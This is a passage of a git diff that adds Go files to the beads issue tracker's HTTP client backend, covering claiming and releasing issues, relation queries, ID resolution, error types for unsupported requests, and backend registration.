everything it cannot promise. +func (r *httpReadyClaimer) composeClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (issueops.ClaimNextResult, error) { + // A copy, because the request is the caller's and the page size is ours. + filter := req.Filter + page := readyClaimPage + filter.Limit = &page + params, err := encode.ReadyParams(filter) + if err != nil { + return issueops.ClaimNextResult{}, err + } + + // At most one refetch, and only after a FULL page was lost end to end: a + // short page means the front really is that short, so refetching it would + // only re-read the rows that just refused. Two passes bound the work a + // single ClaimNext can do against a server under contention. + var lost int + for attempt := 0; attempt < 2; attempt++ { + ready, err := r.wire.ListReadyWork(ctx, params) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if len(ready.Items) == 0 { + // The steady state of a drained queue, and a normal outcome: nil + // Claimed, nil error, nothing written. + return issueops.ClaimNextResult{}, nil + } + + for i := range ready.Items { + row := ready.Items[i] + if row.Issue == nil { + continue + } + claimed, err := r.composedClaim(ctx, req.Actor, row) + switch { + case err == nil: + return issueops.ClaimNextResult{Claimed: claimed}, nil + case isLostRace(err): + lost++ + default: + return issueops.ClaimNextResult{}, err + } + } + if len(ready.Items) < page { + break + } + } + return issueops.ClaimNextResult{}, &ClaimRacesLostError{ + Actor: req.Actor, Attempts: lost, ServerURL: r.store.target.String(), + } +} + +// composedClaim takes one candidate and assembles the hydrated row the role +// promises, for the down-level leg alone. +// +// HYDRATION. ClaimNextResult.Claimed is an issue plus its cardinalities, and the +// wire's ClaimResponse carries the bare row. The counts here therefore come from +// the ready page's own IssueWithCounts rather than from a second read: the issue +// is the POST-claim row the claim itself answered, and the counts are as of the +// listing. A claim changes no dependency, dependent or comment count, so the +// only staleness is the listing window L14's first residue already owns — +// whereas a follow-up getIssue would add a read that can fail AFTER the claim is +// durable, which is a worse answer to the same question. +func (r *httpReadyClaimer) composedClaim(ctx context.Context, actor string, row apigen.IssueWithCounts) (*types.IssueWithCounts, error) { + res, err := r.wire.ClaimIssue(ctx, row.Issue.ID, apigen.ClaimRequest{Actor: actor}) + if err != nil { + return nil, err + } + issue := res.Issue + return &types.IssueWithCounts{ + Issue: &issue, + DependencyCount: row.DependencyCount, + DependentCount: row.DependentCount, + CommentCount: row.CommentCount, + Parent: row.Parent, + }, nil +} + +// isLostRace classifies the refusals that mean "someone else got there first", +// which the loop walks past rather than surfacing. +// +// ErrNotFound joins the two claim refusals deliberately: a row listed as ready +// and gone by the time it was dialed was deleted or promoted mid-loop, which is +// the same situation for a caller that just wants the next piece of work. +func isLostRace(err error) bool { + return errors.Is(err, issueops.ErrAlreadyClaimed) || + errors.Is(err, issueops.ErrNotClaimable) || + errors.Is(err, issueops.ErrNotFound) +} diff --git a/internal/httpclient/refusal.go b/internal/httpclient/refusal.go new file mode 100644 index 000000000..408d14efc --- /dev/null +++ b/internal/httpclient/refusal.go @@ -0,0 +1,87 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/refusal.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "fmt" + + "github.com/steveyegge/beads/internal/httpclient/encode" +) + +// InexpressibleError is what a caller gets when a request carries a field the +// v0 wire has no member for: the encoder's divergence-ledger row, joined to the +// portable refusal sentinel. +// +// It is two errors rather than one because two audiences classify it. A caller +// holding an issueops role reaches for *storage.ErrUnsupported — that is what +// the role contracts assert on a knob a backend cannot serve, and it is the +// same arm a local backend's refusal answers. The refusal taxonomy (D7) reaches +// for the LEDGER ROW, because case 3's text names the flag that produced the +// parameter and the reason it cannot cross. Neither is derivable from the +// other, so the error carries both and errors.Is/errors.As reach each. +// +// The Op it names is the ROLE METHOD, not a storage method: nothing on the +// unsupported allowlist refuses this way, and a refusal that named `IssueReader` +// would say the accessor is unserved when the accessor is exactly what answered. +type InexpressibleError struct { + // Unsup is the portable sentinel, decorated with the server context D7 + // renders (see (*Store).unsupported). + Unsup *ErrHTTPUnsupported + // Refused is the encoder's refusal, carrying the ledger row: the flag or + // field, the reason, the design decision and its pin. + Refused *encode.RefusedError + // detail is the ORIGINAL error's own Error() text, preserved so a refusal + // a caller decorated with its own context before it reached inexpressible + // (a batch item's index, a dependency's position, a patch member's name) + // keeps naming that context. Empty when the original error IS the bare + // refusal, which is reads' own shape today — see inexpressible's doc. + detail string +} + +func (e *InexpressibleError) Error() string { + msg := e.detail + if msg == "" { + msg = e.Refused.Error() + } + if e.Unsup == nil || e.Unsup.ServerURL == "" { + return msg + } + return fmt.Sprintf("%s (bd serve at %s)", msg, e.Unsup.ServerURL) +} + +// Unwrap returns both arms, so errors.As reaches *storage.ErrUnsupported and +// errors.Is reaches encode.ErrRefused off the same value. +func (e *InexpressibleError) Unwrap() []error { return []error{e.Unsup, e.Refused} } + +// inexpressible decorates an encoder refusal for op, or passes any other error +// through untouched. +// +// The pass-through matters: an encoder can also fail for reasons that are NOT +// divergences — a table lookup for an operation it does not encode, a source +// value of the wrong type — and dressing one of those as an unsupported +// capability would tell a user to upgrade their server over a client bug. +// +// A WRITE ROLE calls this at its own exported method's single defer (never +// at the raw refuse() call inside a nested encoder helper), so a refusal that +// a deeper helper already decorated with its own "items[%d]" or "Issue.%s" +// context arrives here as err's own composite message — preserved in detail +// — rather than as the bare *encode.RefusedError the ledger row alone would +// render. This is how a write-side refusal comes to satisfy +// errors.As(*issueops.ErrUnsupported) exactly as a read-side one already +// does, without rewriting every encoder that builds one. +func (s *Store) inexpressible(op string, err error) error { + var refused *encode.RefusedError + if !errors.As(err, &refused) { + return err + } + unsup, ok := s.unsupported(op).(*ErrHTTPUnsupported) + if !ok { + return err + } + detail := err.Error() + if detail == refused.Error() { + detail = "" + } + return &InexpressibleError{Unsup: unsup, Refused: refused, detail: detail} +} diff --git a/internal/httpclient/register.go b/internal/httpclient/register.go new file mode 100644 index 000000000..441e86708 --- /dev/null +++ b/internal/httpclient/register.go @@ -0,0 +1,30 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/register.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import "github.com/steveyegge/beads/internal/storage/backends" + +// Register adds the http client store to the backend registry under the "http" +// name, so workspace validation, discovery and store dispatch recognize +// metadata.json's `backend: "http"`. +// +// Deliberately not an init, for the reason postgres.Register documents: +// registration is a property of the distribution being built, not of the import +// graph. An OSS bd that reached this package transitively would gain a +// selectable "http" backend it must instead hard-fail on with +// UnknownBackendError. Only a distribution that opts in via its own +// build-tagged wiring in cmd/bd calls this. +// +// WorkspaceIsBeadsDir is true: there is no local database to discover, and +// metadata.json plus the activation sidecar are the whole workspace. +// +// Register panics on a duplicate registration, like any process-start wiring +// error, so it must have exactly one production call site. +func Register() { + backends.Register(Backend, backends.Backend{ + Open: NewFromConfig, + OpenReadOnly: NewReadOnlyFromConfig, + WorkspaceIsBeadsDir: true, + Remote: true, + }) +} diff --git a/internal/httpclient/relations.go b/internal/httpclient/relations.go new file mode 100644 index 000000000..f99f7a3a4 --- /dev/null +++ b/internal/httpclient/relations.go @@ -0,0 +1,146 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/relations.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + "net/url" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// httpRelations serves issueops.Relations from listRelatedIssues (GET +// /v0/beads/issues/{id}/related) — the TWENTY-FIFTH wire-backed accessor, and +// the first read on this surface anchored on ONE issue in the PATH. +// +// IT IS SINGLE-ANCHOR, which is the difference from every other graph role here +// and the reason its miss is shaped differently. EdgeReader and GraphCounter +// take a LIST of anchors, so an id that names nothing has to be reported per +// anchor — `missing: true` beside the ones that answered. This request names +// exactly one, so there is nowhere to put a per-anchor flag and no need for one: +// an anchor on neither plane is a 404, which the shared problem mapper has +// already turned into issueops.ErrNotFound. That is the role's own promise — +// "this issue has no dependencies" and "there is no such issue" are different +// facts — and it costs this client nothing but the discipline of not inventing a +// Missing member the wire does not have. +// +// BOTH HALVES ARE TWO-PLANE and neither half is this client's work. The edges +// come from `dependencies` and `wisp_dependencies`, the far ends are hydrated +// from `issues` and `wisps`, and a WISP ID IS A LEGAL ANCHOR — all three decided +// inside the server's own transaction. What this layer must not do is narrow any +// of them, which is why there is no plane parameter here to forget: the +// operation publishes none, because the role has none. +// +// THE ELEMENT CARRIES NO REVISION BY CONSTRUCTION, so this role is the one place +// on the wave-2b surface with no revision-token stitch. types.Issue.RowVersion +// is `json:"-"` and IssueWithDependencyMetadata publishes no sibling member for +// it, unlike releaseIssue's answer — a neighbor list is not a +// read-modify-write's starting point, and nothing here composes a following +// expected_version. +// +// THE ORDER IS THE SERVER'S and is deliberately not re-applied. The role pins +// ascending by the neighbor's id with the edge type breaking a tie, and +// FinishRelatedPage — the one body both store legs run — produces exactly that +// before the rows are marshaled. Re-sorting here would be a second definition of +// one ordering, which is the drift the shared helper exists to prevent. +type httpRelations struct{ store *Store } + +var _ issueops.Relations = httpRelations{} + +// Related returns the anchor's neighbors in the requested direction. +// +// THE VALIDATION IS THE ROLE'S OWN BODY, not a second copy of it: this calls +// storageops.ValidateRelatedRequest, the same function the two Dolt legs and the +// unit-of-work leg run, so the three refusals — an empty anchor id, a direction +// outside the closed set, an unusable type filter — are one definition with one +// ORDER. The order is part of the answer: the id is checked FIRST, so a request +// carrying two mistakes names the same offender here as it does on every other +// backend. +// +// TWO OF THE THREE ARE ALSO REACHABLE ON THE SERVER and the third is not, which +// is why validating first is not merely an optimization. The path bound turns an +// unusable id into a 404 before the role is ever called, so the empty-id refusal +// exists ONLY on this side of the wire — a client that forwarded an empty id +// would earn `ErrNotFound` where every other backend answers `ErrValidation`. +func (r httpRelations) Related(ctx context.Context, req issueops.RelatedRequest) ([]*issueops.RelatedIssue, error) { + if err := storageops.ValidateRelatedRequest(req); err != nil { + return nil, err + } + + path, err := wire.IssueRelatedPath(req.ID) + if err != nil { + return nil, err + } + + q := url.Values{} + // Required and always sent, including a value the role has already accepted. + // The operation has no default direction and an absent one is a 400 rather + // than a walk of the other end — which is the whole reason the vocabulary is + // closed and the zero value invalid. + // + // The constants are the ListRelatedIssuesParamsDirection* family, spelled + // through relationDirection below rather than as bare strings: apigen carries + // a SECOND [out, in] enum for countDependencyEdges, so the two are one rename + // away from silently answering each other's question. + q.Set("direction", relationDirection(req.Direction)) + // Repeated rather than comma-joined, listDependencies' rule: the operation + // reads `type` with the repeatable list decoder and does no splitting, so a + // comma would travel into a type name. + for _, depType := range req.Types { + q.Add("type", string(depType)) + } + + var body apigen.RelatedIssues + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpListRelatedIssues, + Method: http.MethodGet, + Path: path, + Query: q, + IssueID: req.ID, + }, &body); err != nil { + return nil, err + } + + // Never nil for a successful call, which the role promises and a caller + // ranges over without checking. The wire promises `items` is an empty array + // and never null, so this is the belt to that braces — and it is the one + // shape a decode CAN produce that the document forbids, since an absent + // member unmarshals to a nil slice. + items := make([]*issueops.RelatedIssue, 0, len(body.Items)) + for i := range body.Items { + items = append(items, &body.Items[i]) + } + return items, nil +} + +// relationDirection maps the role's direction onto the parameter value, through +// the generated constants of THIS operation. +// +// It exists to make one class of mistake impossible rather than to convert two +// strings. apigen carries two [out, in] enums — this operation's +// ListRelatedIssuesParamsDirection* and countDependencyEdges' +// CountDependencyEdgesParamsDirection* — and the second one's arrival RENAMED +// the bare In/Out constants the first draft of a client like this would reach +// for. The two happen to spell the same values today, so a cross-wired reference +// would compile, pass, and answer the inverse graph the day either enum's +// values changed. +// +// A direction outside the closed set cannot reach here: ValidateRelatedRequest +// refuses it above, in the role's own order. The default arm therefore sends the +// value through UNTRANSLATED rather than guessing a direction — if the +// unreachable ever becomes reachable, the server's own 400 naming `direction` is +// a far better answer than a walk of whichever end this function picked. +func relationDirection(direction issueops.RelationDirection) string { + switch direction { + case issueops.RelationOut: + return string(apigen.ListRelatedIssuesParamsDirectionOut) + case issueops.RelationIn: + return string(apigen.ListRelatedIssuesParamsDirectionIn) + default: + return string(direction) + } +} diff --git a/internal/httpclient/releaser.go b/internal/httpclient/releaser.go new file mode 100644 index 000000000..5375803ca --- /dev/null +++ b/internal/httpclient/releaser.go @@ -0,0 +1,154 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/releaser.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// httpReleaser is issueops.Releaser over releaseIssue (POST +// /v0/beads/issues/{id}:release) — the TWENTY-THIRD wire-backed accessor, and +// the claim's inverse. +// +// THE MAPPING IS TOTAL on the request: all four members of ReleaseRequest have a +// wire member or the path, so nothing here refuses on shape and the ledger +// carries no W- row for this operation. What the port had to decide is three +// facts about the ANSWER and one about the refusals. +// +// THE POST-STATE IS ANONYMOUS, which is the Changed ruling and the reason this +// role cannot be idempotent the way Claimer is. A claim leaves its own signature +// on the row — assignee == actor, status in_progress — so a re-claim can be told +// from a foreign one; a release leaves assignee cleared, status open and +// started_at gone, which is the same row no matter who emptied it or whether it +// was ever full. So `changed` is true on every 200 this client will ever see, +// and the three situations an idempotent release would collapse — "I already +// released this", "a reaper beat me to it", "nothing ever claimed it" — arrive +// as refusals instead. This client transcribes them rather than deciding between +// them, which is what keeps a downstream adapter able to map the ones it can +// live with onto its own quiet answer. +// +// THE REVISION RIDES ON Issue.RowVersion AND NOWHERE ELSE. types.Issue.RowVersion +// is `json:"-"`, so the row the server sends carries no token at all and the +// operation publishes it as a sibling member; this role stitches the two back +// together, because the role's own leaf says the post-release token rides on +// Issue.RowVersion and that two spellings of one token is how they come to +// disagree. It is int64 on the Go contract and a decimal STRING on the wire +// (upstream #6053, types.RevisionToken): live tokens run past 5e17, where an +// IEEE-754 double's ulp is already 64, so a JSON number would hand a lossy +// consumer a value NEAR the token that is not it — and the corruption would +// only show up as a precondition_failed on the NEXT request. parseRevision +// reads the string back, and a token it cannot read refuses the answer. +// +// ONE REFUSAL IS FLATTENED and it is ledgered rather than hidden: the role +// splits an unheld row (ErrNotClaimed) from a status that will not accept a +// release (ErrNotReleasable), and the wire spells both `not_releasable` with no +// member telling them apart. See L-release-notclaimed; the wire's own code doc +// says the flattening is deliberate, and the client answers the WIDER of the two +// rather than asserting a fact the wire never sent. +type httpReleaser struct { + store *Store + wire WriteWire +} + +var _ issueops.Releaser = (*httpReleaser)(nil) + +// Release gives up the claim on one issue and reports the row it left behind. +// +// THE FOUR REFUSALS A CALLER ACTS ON reach it unchanged from the shared problem +// mapper, and naming them here is the point rather than documentation: an id on +// neither plane is issueops.ErrNotFound, a row that will not produce a release is +// issueops.ErrNotReleasable (the flattened pair above), a guard that missed is +// issueops.ErrAssigneeMismatch, and a foreign holder on the unconditional path is +// issueops.ErrAlreadyClaimed carrying *issueops.ClaimConflictError — the wire's +// spelling of the role's ErrNotOwner, which is the fifth refusal and the one +// this operation renames. A conditional caller never earns it: naming the holder +// REPLACES the fence, so a supervisor's release either matches or answers +// ErrAssigneeMismatch. Everything a caller downstream chooses to treat as "the +// claim is already gone" it chooses from those sentinels, so they travel whole. +func (r *httpReleaser) Release(ctx context.Context, req issueops.ReleaseRequest) (issueops.ReleaseResult, error) { + if err := validateReleaseRequest(req); err != nil { + return issueops.ReleaseResult{}, err + } + + body := apigen.ReleaseIssueRequest{Actor: req.Actor} + if req.ExpectedAssignee != nil { + // COPIED, never aliased. The role promises implementations never write + // through a caller's request, and handing this pointer to a marshaler is + // the kind of borrow that becomes a write when a helper is added. It is + // also sent UNTRIMMED: the comparison forgives separators and nothing + // else, so a padded expectation has to lose every time rather than + // intermittently. + expected := *req.ExpectedAssignee + body.ExpectedAssignee = &expected + } + if req.Force { + // Sent only when TRUE, because absent and `false` are the same request + // and the operation refuses `force` beside `expected_assignee`. A client + // that always sent the member would put both on the wire for a request + // that asked for neither conflict — legal today, since the server tests + // the value rather than the presence, and one server release away from + // not being. + force := true + body.Force = &force + } + + res, err := r.wire.ReleaseIssue(ctx, req.IssueID, body) + if err != nil { + return issueops.ReleaseResult{}, err + } + + // A COPY of the decoded row, so the result does not alias a response body, + // and the token stitched onto it rather than beside it. + issue := res.Issue + if issue.RowVersion, err = parseRevision("releaseIssue", res.Revision); err != nil { + return issueops.ReleaseResult{}, err + } + return issueops.ReleaseResult{Issue: &issue, Changed: res.Changed}, nil +} + +// validateReleaseRequest is the role's own request rules, restated. +// +// It is the client-side twin of internal/workapi.ValidateReleaseRequest, and it +// is redeclared rather than imported for counter.go's reason: internal/workapi +// is denied to this package by depguard, because a client that could build a +// filter is a client whose narrowing no server-side gate can observe. +// TestReleaseValidationMatchesTheSharedValidator pins the two against each other +// from a test file, where the rule does not apply — the same shape +// TestDefaultListLimitMatchesTheSharedDefault uses, and the answer to +// readyclaimer.go's warning that a restated rule is how a leg drifts. +// +// EVERY ONE OF THESE IS RAISED BEFORE THE DIAL, which is this seam's standing +// rule and sharper here than usual: the server refuses all three at the edge +// with a 400 the mapper turns into the same ErrValidation, so a client that +// skipped the check would still pass the contract — while spending a round trip +// to be told what the role's own contract already calls invalid, and binding the +// classification to a problem body a future server release might spell +// differently. +func validateReleaseRequest(req issueops.ReleaseRequest) error { + if strings.TrimSpace(req.Actor) == "" { + return fmt.Errorf("%w: release requires an actor to attribute it to", issueops.ErrValidation) + } + if strings.TrimSpace(req.IssueID) == "" { + return fmt.Errorf("%w: release requires an issue id", issueops.ErrValidation) + } + if req.ExpectedAssignee != nil { + // A non-nil pointer to "" is NOT "expected unassigned" here, unlike + // UpdateRequest.ExpectedAssignee: releasing a row nobody holds is not a + // release at all, and a caller that wants to assert a row is unheld is + // asking a READER a question. + if strings.TrimSpace(*req.ExpectedAssignee) == "" { + return fmt.Errorf("%w: expected assignee must name a holder; there is no release of an unheld issue", + issueops.ErrValidation) + } + if req.Force { + return fmt.Errorf("%w: force releases whoever holds the issue and expected-assignee releases only a named holder; a request cannot ask for both", + issueops.ErrValidation) + } + } + return nil +} diff --git a/internal/httpclient/required_served_tier_test.go b/internal/httpclient/required_served_tier_test.go new file mode 100644 index 000000000..e2bcc25aa --- /dev/null +++ b/internal/httpclient/required_served_tier_test.go @@ -0,0 +1,23 @@ +package httpclient + +import ( + "os" + "testing" +) + +// servedTierLinked reports whether this test binary links the served tier. +// served_harness_test.go, which builds only under cgo like every +// served_*_test.go file, sets it from its init. +var servedTierLinked bool + +// TestServedTierIsLinkedWhenRequired is the one served-tier check that builds +// without cgo. skipUnlessEmbeddedDolt turns a missing BEADS_TEST_EMBEDDED_DOLT +// into a failure under BEADS_HTTP_TEST_REQUIRED=1, but it lives in a cgo file: +// with cgo off the go tool drops every served_*_test.go file, so no served test +// exists to fail, and a required run would pass having served nothing. +func TestServedTierIsLinkedWhenRequired(t *testing.T) { + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" && !servedTierLinked { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but this test binary was built without cgo, which drops " + + "the served-surface conformance tier (served_*_test.go); build it with CGO_ENABLED=1") + } +} diff --git a/internal/httpclient/resolve.go b/internal/httpclient/resolve.go new file mode 100644 index 000000000..e5344c09c --- /dev/null +++ b/internal/httpclient/resolve.go @@ -0,0 +1,222 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/resolve.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The id-resolution surface (design D11). ResolvePartialID is the front door +// every id-taking command goes through, and it makes exactly three store +// probes: an exact-ids SearchIssues, two GetConfig reads for the prefix +// vocabulary, and — only if those fail — a substring SearchIssueIDs. The first +// two are served here; the third has no wire operation at all and is on the +// unsupported allowlist, where the refusal below gives it its vocabulary. + +// ErrPartialIDSearch reports that a substring or prefix id lookup was asked of +// a server that publishes no operation for one. +var ErrPartialIDSearch = errors.New("partial-id search is not available over HTTP") + +// PartialIDSearchError is D11's dedicated refusal, and it is dedicated because +// the raw failure it replaces answers the wrong question. +// +// The input may be a partial id OR a full id that simply does not exist, and +// the client cannot tell which: it asked for an exact row and got nothing back. +// A "failed to search issues" fallthrough would report the second case as a +// backend fault and the first as nothing at all, so the text names both +// outcomes and the one recovery that covers them. +type PartialIDSearchError struct { + // Input is what the user typed, echoed so the message is about their id. + Input string + // ServerURL is the server that was asked. + ServerURL string + // Unsup is the portable sentinel, so errors.As classification holds through + // this type exactly as it does through every other refusal here. + Unsup *ErrHTTPUnsupported +} + +func (e *PartialIDSearchError) Error() string { + return fmt.Sprintf("no exact issue %q on bd serve at %s; partial-id search is not available over HTTP — "+ + "check the id or use a local workspace", e.Input, e.ServerURL) +} + +func (e *PartialIDSearchError) Unwrap() []error { return []error{e.Unsup, ErrPartialIDSearch} } + +func (s *Store) partialIDSearch(op, input string) error { + e := &PartialIDSearchError{Input: input, ServerURL: s.target.String()} + if unsup, ok := s.unsupported(op).(*ErrHTTPUnsupported); ok { + e.Unsup = unsup + } + return e +} + +// SearchIssues serves the two shapes the v0 wire can express and refuses every +// other one. +// +// The classification is the encoder's, not this method's: PlanSearch decides +// SHAPE FIRST and then sweeps the fields that shape cannot read, so a filter +// naming both an id set and a parent is refused before either arm is chosen. +// What is decided here is only what to do with each shape once it is named. +// +// The `query` argument is the substring search, and it has no wire operation: +// it refuses with D11's partial-id text rather than with a bare sentinel, +// because a caller that reaches this with a non-empty query is resolving an id +// and the useful thing to say is that the id was not found exactly. +func (s *Store) SearchIssues(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) { + if strings.TrimSpace(query) != "" { + return nil, s.partialIDSearch("SearchIssues", query) + } + plan, err := encode.PlanSearch(filter, func() encode.ListConfig { return s.listConfig(ctx) }) + if err != nil { + return nil, s.inexpressible("SearchIssues", err) + } + switch plan.Shape { + case encode.SearchExactIDs: + return s.getIssuesByExactID(ctx, plan.IDs) + case encode.SearchParentWalk: + return s.walkDescendants(ctx, plan) + } + return nil, s.unsupported("SearchIssues") +} + +// getIssuesByExactID is D11's fast path: one getIssue per named id, in the +// caller's order, bounded by the encoder at MaxExactIDs. +// +// A 404 becomes an ABSENT ROW, not an error. That is the whole reason this is a +// special case rather than a filter: ResolvePartialID's first probe reads +// `err == nil && len(issues) > 0`, so a miss reported as an error would abandon +// resolution at the exact point the resolver is supposed to fall through to its +// prefix pass. Every other failure — a dead connection, a busy server, a +// refused credential — passes through, because none of them is evidence about +// whether the row exists. +func (s *Store) getIssuesByExactID(ctx context.Context, ids []string) ([]*types.Issue, error) { + found := make([]*types.Issue, 0, len(ids)) + for _, id := range ids { + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + var details types.IssueDetails + err = s.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + IssueID: id, + }, &details) + if errors.Is(err, issueops.ErrNotFound) { + continue + } + if err != nil { + return nil, err + } + // The detail view carries labels in a field of its OWN rather than on + // the embedded issue, and the local SearchIssues hydrates them onto the + // issue. Lifting them across is what makes the two answers the same + // value; a caller reading `issue.Labels` would otherwise see an + // unlabeled row over http and a labeled one locally. + issue := details.Issue + if len(issue.Labels) == 0 && len(details.Labels) > 0 { + issue.Labels = append([]string(nil), details.Labels...) + } + // Issue.RowVersion is json:"-", so the decode above left it at 0; + // details.Revision is getIssue's only wire spelling of the token, the + // same stitch bridge.go's own GetIssue makes. Without this, an exact-id + // hit through SearchIssues (e.g. the resolver's fast path) would carry + // a RowVersion of 0 where a getIssue of the same row populates the real + // token, and a caller that feeds the search result's RowVersion into a + // guarded write would get a spurious mismatch instead of none. + version, err := parseRevision("searchIssues(exact id)", details.Revision) + if err != nil { + return nil, err + } + issue.RowVersion = version + found = append(found, &issue) + } + return found, nil +} + +// walkDescendants is D4's hierarchical shape: paged listIssues?parent=. +// +// The CLI asks each level for every descendant (Limit=0 per level), and +// unlimited maps to PAGING TO EXHAUSTION rather than to the wire's `limit=0`, +// which a non-loopback server refuses outright. The recursion itself belongs to +// the caller — findAllDescendants re-parents the filter at every level — so +// this answers one level. +func (s *Store) walkDescendants(ctx context.Context, plan encode.SearchPlan) ([]*types.Issue, error) { + // Not projected: a descendant walk hands its rows back as whole issues, and + // a caller of the hierarchy has no way to learn a body was withheld. + rows, err := s.fetchIssuePages(ctx, plan.Params, false, 0, 0, "", nil) + if err != nil { + return nil, err + } + out := make([]*types.Issue, 0, len(rows)) + for _, row := range rows { + if row != nil && row.Issue != nil { + out = append(out, row.Issue) + } + } + return out, nil +} + +// ErrSettingRedacted reports a setting whose value the server withheld because +// its KEY marks it credential-bearing. +var ErrSettingRedacted = errors.New("bd serve withholds this setting's value") + +// RedactedSettingError is ledger row L9 made answerable: the value is absent +// with a reason, rather than absent as an empty string. +// +// Returning "" would be a dropped read dressed as an unset key, and the two are +// not the same answer — one says the workspace stores nothing, the other says +// the workspace stores something this client may not see. +type RedactedSettingError struct { + Key string + ServerURL string +} + +func (e *RedactedSettingError) Error() string { + return fmt.Sprintf("bd serve at %s withholds %q: the key marks it credential-bearing, "+ + "so its value is not served to a client", e.ServerURL, e.Key) +} + +func (e *RedactedSettingError) Unwrap() error { return ErrSettingRedacted } + +// GetConfig serves getSetting. D11's prefix probes — `issue_prefix` and +// `allowed_prefixes` — ride it, and they are flat legacy keys present in the +// settings enumeration, so nothing about them is special-cased here. +// +// A key nothing stored and a key stored empty are ONE answer on this operation, +// exactly as they are on the local store: the wire omits the value in both +// cases and this returns ("", nil), which is what every caller of GetConfig +// already treats as "unset". The one answer that is NOT "" is a redacted key, +// where a value may well exist and is withheld (L9). +func (s *Store) GetConfig(ctx context.Context, key string) (string, error) { + path, err := wire.SettingPath(key) + if err != nil { + return "", err + } + var setting apigen.Setting + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpGetSetting, + Method: http.MethodGet, + Path: path, + }, &setting); err != nil { + return "", err + } + if setting.Redacted { + return "", &RedactedSettingError{Key: key, ServerURL: s.target.String()} + } + if setting.Value == nil { + return "", nil + } + return *setting.Value, nil +} diff --git a/internal/httpclient/role_querier.go b/internal/httpclient/role_querier.go new file mode 100644 index 000000000..0129a99f1 --- /dev/null +++ b/internal/httpclient/role_querier.go @@ -0,0 +1,76 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/role_querier.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpQuerier is issueops.Querier over queryIssues (design D8 row 5). +// +// The expression is not parsed here and must not be: parsing, the predicate +// decision and the scan bound all live inside the server's role, which is what +// stops this client from shipping the truncating window both front doors used +// to apply. Five parameters go out and a page comes back. +// +// It is post-baseline, so the dispatch pre-flights: an older server that does +// not route this path answers a bare 404 that is indistinguishable from an +// entity's not_found, and consulting the advertised `issues.query` token before +// dialing is the only way to tell "this server is too old" from "nothing +// matched". +type httpQuerier struct{ store *Store } + +func (q httpQuerier) Query(ctx context.Context, req issueops.QueryRequest) (issueops.IssuePage, error) { + if err := validateQueryOffset(req); err != nil { + return issueops.IssuePage{}, err + } + params, err := encode.QueryParams(req) + if err != nil { + return issueops.IssuePage{}, q.store.inexpressible("Querier.Query", err) + } + var body apigen.QueryPage + if err := q.store.dispatch(ctx, wire.Request{ + Op: wire.OpQueryIssues, + Method: http.MethodGet, + Path: wire.PathIssuesQuery, + Query: params, + }, &body); err != nil { + return issueops.IssuePage{}, err + } + // NEVER projected: issueops.QueryRequest has no Brief member, so this role + // cannot ask for one and its rows are always whole. The `false` is the + // compiler asking the question rather than a value to tune — if the query + // vocabulary ever grows the projection, this is the line that has to move + // with it. + return issueops.IssuePage{Items: wireRows(body.Items, false), HasMore: body.HasMore}, nil +} + +// validateQueryOffset answers the two Offset refusals the ROLE owns, ahead of +// the one the WIRE owns. +// +// The distinction is the whole reason this function exists. A negative Offset, +// and an Offset combined with a display order, are ErrValidation at EVERY +// backend — the leaf says so in as many words, because under a page bound each +// page is sorted for itself and a walk with an offset would neither visit every +// row nor visit any row once. Those are the caller's request being wrong, and a +// caller must not be told to upgrade a server over them. Only what is left — +// a plain positive Offset — is this backend's own inability, and the encoder +// refuses that one with *ErrUnsupported (E-QueryRequest.Offset). +func validateQueryOffset(req issueops.QueryRequest) error { + switch { + case req.Offset < 0: + return fmt.Errorf("%w: offset %d is negative", issueops.ErrValidation, req.Offset) + case req.Offset > 0 && req.SortBy != "": + return fmt.Errorf("%w: an offset cannot be combined with a display order (sort %q): "+ + "the order is applied to the rows the query bounded, so each page would be sorted for itself", + issueops.ErrValidation, req.SortBy) + } + return nil +} diff --git a/internal/httpclient/role_reader.go b/internal/httpclient/role_reader.go new file mode 100644 index 000000000..8d3333ab5 --- /dev/null +++ b/internal/httpclient/role_reader.go @@ -0,0 +1,131 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/role_reader.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" 